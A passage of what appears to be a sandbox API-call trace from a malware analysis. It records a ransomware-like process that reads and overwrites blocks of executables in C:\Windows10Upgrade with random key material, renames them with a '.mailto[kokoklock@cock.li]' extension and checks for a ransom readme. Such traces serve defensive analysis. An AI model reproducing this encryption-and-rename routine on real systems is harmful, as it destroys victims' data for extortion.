(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.009] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2758) returned 1 [0062.009] RtlExitUserThread (Status=0x1) Thread: id = 124 os_tid = 0x1060 [0062.006] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe")) returned 0x20 [0062.010] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE", dwFileAttributes=0x20) returned 1 [0062.010] CreateFileW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0062.010] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x8a2fc74 | out: lpFileSize=0x8a2fc74*=564936) returned 1 [0062.010] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x89ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.011] ReadFile (in: hFile=0x5b4, lpBuffer=0x8a2fc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x8a2fc48*, lpNumberOfBytesRead=0x8a2fc44*=0x4, lpOverlapped=0x0) returned 1 [0062.012] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0062.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cce0 [0062.012] NtQuerySystemTime (in: CurrentTime=0x8a2fc20 | out: CurrentTime=0x8a2fc20*=132121176198988709) returned 0x0 [0062.012] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x7f4369c2 [0062.012] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xe7f46fbb [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xa0b10b69 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x43f07bc1 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x77377a50 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x976aba5d [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x52dbca83 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xcf9f20d1 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x6d98d877 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x425b066e [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xbe665681 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xd8deea81 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xd0bd3381 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xf3bab833 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x9f676e4 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x4a68fc39 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x964c7c13 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xcced6813 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xf56aa28a [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x744bcc7 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xf43bf0b5 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x1642eb5 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x51fd1510 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xdfb17946 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x72597398 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x51163bd0 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xbb7c9f0f [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x402e5991 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0xa2d58cee [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x19883824 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x3ba2aeb6 [0062.013] RtlRandom (in: Seed=0x8a2fc2c | out: Seed=0x8a2fc2c) returned 0x2c442fb2 [0062.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0062.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd08 [0062.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0062.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.024] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.024] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.026] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cbf0 [0062.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0062.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c998) returned 1 [0062.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0062.027] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.027] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x48a8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.027] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.059] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x48a8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0062.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0062.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0062.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c970 [0062.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd30 [0062.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd30) returned 1 [0062.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0062.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0062.060] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.060] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x85e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.060] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.074] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x85e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0062.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3492360 [0062.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc18 [0062.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cda8 [0062.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cda8) returned 1 [0062.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0062.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x3492360*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8a2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x3492360*, lpNumberOfBytesWritten=0x8a2fbe0*=0x4096, lpOverlapped=0x0) returned 1 [0062.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492360) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cbf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a2fc3c, lpOverlapped=0x0 | out: lpBuffer=0x347cbf0*, lpNumberOfBytesWritten=0x8a2fc3c*=0x20, lpOverlapped=0x0) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x347c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a2fc3c, lpOverlapped=0x0 | out: lpBuffer=0x347c970*, lpNumberOfBytesWritten=0x8a2fc3c*=0x20, lpOverlapped=0x0) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cc18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a2fc3c, lpOverlapped=0x0 | out: lpBuffer=0x347cc18*, lpNumberOfBytesWritten=0x8a2fc3c*=0x20, lpOverlapped=0x0) returned 1 [0062.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cd08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x347cd08*, lpNumberOfBytesWritten=0x8a2fc44*=0x8, lpOverlapped=0x0) returned 1 [0062.075] WriteFile (in: hFile=0x5b4, lpBuffer=0x8a2fc5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x8a2fc5c*, lpNumberOfBytesWritten=0x8a2fc44*=0x4, lpOverlapped=0x0) returned 1 [0062.076] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8a2fc44*=0x4, lpOverlapped=0x0) returned 1 [0062.076] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8a2fc44*=0x6c, lpOverlapped=0x0) returned 1 [0062.076] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x8a2fc44*=0x20, lpOverlapped=0x0) returned 1 [0062.076] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8a2fc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8a2fc44*=0x4, lpOverlapped=0x0) returned 1 [0062.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0062.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc40) returned 1 [0062.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd08) returned 1 [0062.076] CloseHandle (hObject=0x5b4) returned 1 [0062.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x33c3cd8 [0062.869] wcscpy (in: _Dest=0x33c3cd8, _Source="C:\\Windows10Upgrade\\GatherOSState.EXE" | out: _Dest="C:\\Windows10Upgrade\\GatherOSState.EXE") returned="C:\\Windows10Upgrade\\GatherOSState.EXE" [0062.869] wcscat (in: _Dest=0x33c3cd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" [0062.869] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), lpNewFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\gatherosstate.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.870] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3cd8) returned 1 [0062.870] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GatherOSState.EXE", dwFileAttributes=0x20) returned 0 [0062.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33fcb98 [0062.870] wcscpy (in: _Dest=0x33fcb98, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.870] wcscat (in: _Dest=0x33fcb98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.870] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcb98) returned 1 [0062.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd9d0) returned 1 [0062.871] RtlExitUserThread (Status=0x1) Thread: id = 125 os_tid = 0x1064 [0062.026] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe")) returned 0x20 [0062.057] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE", dwFileAttributes=0x20) returned 1 [0062.057] CreateFileW (lpFileName="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0062.058] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x8aafd5c | out: lpFileSize=0x8aafd5c*=73416) returned 1 [0062.058] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x11ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.058] ReadFile (in: hFile=0x5c8, lpBuffer=0x8aafd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x8aafd30*, lpNumberOfBytesRead=0x8aafd2c*=0x4, lpOverlapped=0x0) returned 1 [0062.062] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0062.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd30 [0062.062] NtQuerySystemTime (in: CurrentTime=0x8aafd08 | out: CurrentTime=0x8aafd08*=132121176199613302) returned 0x0 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xbf4912c2 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x97ecf03e [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x3762d9e6 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x16bdb9ab [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x5fcfeb0e [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xca4ff9d9 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xe33492fb [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x2dbf31ad [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x29f7de69 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x8b32a409 [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x23e7810b [0062.062] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x2acc41ac [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x9c1d1b0c [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xa351e07a [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x227f489c [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x4bf1f69a [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x4287f029 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xac1cdfd [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x304ce36f [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x7c59edb9 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xec023096 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x5a2a8a78 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x91d559e2 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x8e125bd8 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xf558e5b9 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x55d6de2a [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x37010a45 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x8e2bc9 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x1a80d4c2 [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x98cdc2eb [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0x9651dba [0062.063] RtlRandom (in: Seed=0x8aafd14 | out: Seed=0x8aafd14) returned 0xff61e74b [0062.071] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd80 [0062.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0062.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.073] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.073] ReadFile (in: hFile=0x5c8, lpBuffer=0x348e2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8aafce0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesRead=0x8aafce0*=0x4096, lpOverlapped=0x0) returned 1 [0062.081] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0062.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c998) returned 1 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8aafce0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x8aafce0*=0x4096, lpOverlapped=0x0) returned 1 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.082] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x11ec8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8aafd18, lpOverlapped=0x0 | out: lpBuffer=0x347cc40*, lpNumberOfBytesWritten=0x8aafd18*=0x20, lpOverlapped=0x0) returned 1 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc40) returned 1 [0062.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cd80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x347cd80*, lpNumberOfBytesWritten=0x8aafd2c*=0x8, lpOverlapped=0x0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x8aafd44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x8aafd44*, lpNumberOfBytesWritten=0x8aafd2c*=0x4, lpOverlapped=0x0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8aafd2c*=0x4, lpOverlapped=0x0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8aafd2c*=0x6c, lpOverlapped=0x0) returned 1 [0062.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cb50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x347cb50*, lpNumberOfBytesWritten=0x8aafd2c*=0x20, lpOverlapped=0x0) returned 1 [0062.083] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8aafd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8aafd2c*=0x4, lpOverlapped=0x0) returned 1 [0062.083] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0062.083] 